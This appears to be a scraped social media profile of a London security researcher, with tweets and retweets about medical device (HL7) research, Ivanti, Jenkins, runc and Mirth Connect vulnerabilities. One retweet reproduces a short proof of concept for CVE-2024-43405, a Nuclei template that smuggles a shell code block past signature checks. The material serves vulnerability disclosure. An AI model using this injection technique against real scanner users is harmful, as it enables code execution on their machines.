Head of ASM @SRMInform 🦓 ASM all the things, BioHacking 🩺 DC31 Speaker ☠️ Tweets are my own
London
Joined April 2018
- Tweets254
- Following645
- Followers387
- Likes982
KT retweeted
How many of you realize how easy it is to get popped by running a random @pdnuclei templates? Even signed ones aren’t safe – it’s only a matter of time before this becomes a real attack vector 😏
PoC for CVE-2024-43405
id: benign-template
info:
name: Valid Template Example
author: Wiz Research
severity: Critical
# digest: <valid-signature> (whatever exists)
# digest: <injected-signature>\rcode:\r\r engine:\r - sh\r source: |\r echo "This is injected and executed!" > /tmp/payload.txt
🚨CVE ALERT!
While working with Nuclei @wiz_io, I discovered CVE-2024-43405, a vulnerability that bypasses template signature verification, potentially allowing malicious code execution on machines running Nuclei 🛡️
Here’s what you need to know: 🧵
KT retweeted
Katie Inns, S-RM's Head of Attack Surface Management (ASM), shares her insight into the importance of ASM in keeping organisations safe from cyber attacks.
hubs.li/Q02XWwt70
#AttackSurfaceManagement #Cybersecurity #Cloud #ShadowIT
Thanks to everyone that came along to my talk @44CON, you can find my blog post on the topic here: labs.withsecure.com/publicat… and HL7Magic here: github.com/WithSecureLabs/hl…
2
85
KT retweeted
It's World Patient Safety Day 2024! 🏥 This years focus- Improving Diagnosis for #PatientSafety.
You guys know we're dedicated to innovation & cybersecurity to enhance #healthcare safety!
Read: who.int/news-room/events/det…
#WorldPatientSafetyDay #Cybersecurity #HealthcareInnovation
KT retweeted
hl7magic: A Burp extension to allow for easy modification of HL7 messages sent to and from medical devices. dlvr.it/T67qFz #cyber #threathunting #infosec
KT retweeted
4 days to go!
Join our webinar in which we will:
💬 Discuss the importance of exposure management to mid-market security professionals
👀 Look into attack surface issues and exposure management’s role
🔎 Explore risk appetite and regulation issues
🖋withsecure.com/en/whats-new/…
Finally got round to publishing the tool and accompanying blog post on my HL7/medical device research, presented at DC31 labs.withsecure.com/publicat… github.com/withSecurelabs/hl… #healthcare #medtech #DEFCON @defcon
KT retweeted
@snyksec has discovered a new container breakout, known as CVE-2024-21626
Check out WithSecure Labs for more about the proof of concept and its demos for the docker / kubernetes / CI/CD environments:
labs.withsecure.com/publicat…
KT retweeted
Applications for our UK Cyber Security Internship are now open, so why not spend the summer developing your hacking skills and gaining hands-on experience working with our cyber security specialists?
Apply by March 15!
emp.jobylon.com/jobs/217281-…
Wowzers...
CISA orders federal agencies to disconnect Ivanti VPN appliances by Saturday - @serghei
bleepingcomputer.com/news/se…
bleepingcomputer.com/news/se…
1
113
KT retweeted
Scan for Jenkins < 2.441 - Arbitrary File Read (CVE-2024-23897) using nuclei templates.
Vulnerability Advisory -jenkins.io/security/advisory…
Vulnerability Analysis - sonarsource.com/blog/excessi… by @Sonar_Research
Nuclei Template - cloud.projectdiscovery.io/@s…
#hackwithautomation #bugbounty #cybersecurity
KT retweeted
As of 2024-01-18 we are scanning for NextGen Healthcare Mirth Connect appliances vulnerable to CVE-2023-43208 (pre-auth RCE). We see 441 vulnerable (2024-01-22 scan). Data shared in shadowserver.org/what-we-do/…
Make sure to upgrade to latest version: github.com/nextgenhealthcare…
Noice 👌
blog.projectdiscovery.io/ann…
1
65
KT retweeted
I reproduced the full chain of Ivanti Connect Secure CVE-2023-46805 (auth bypass) + CVE-2024-21887 (RCE) 🥳
While it is mentioned in the advisory, it's worth noting that 21887 is multiple command injection vulns under one CVE. I counted 5 before I got bored looking 😆
KT retweeted
Data on vulnerable Ivanti Connect Secure devices now available on our Dashboard, for example
World map: dashboard.shadowserver.org/s…
Tree map:
dashboard.shadowserver.org/s…
Tracker:
dashboard.shadowserver.org/s…
Scanning for vulnerable Ivanti Connect Secure (CVE-2023-46805 & CVE-2024-21887) instances has been added to our daily scan list. 6809 found vulnerable for 2024-01-15 scans using methodology from @watchtowrcyber - labs.watchtowr.com/welcome-t…)
More details: shadowserver.org/what-we-do/…
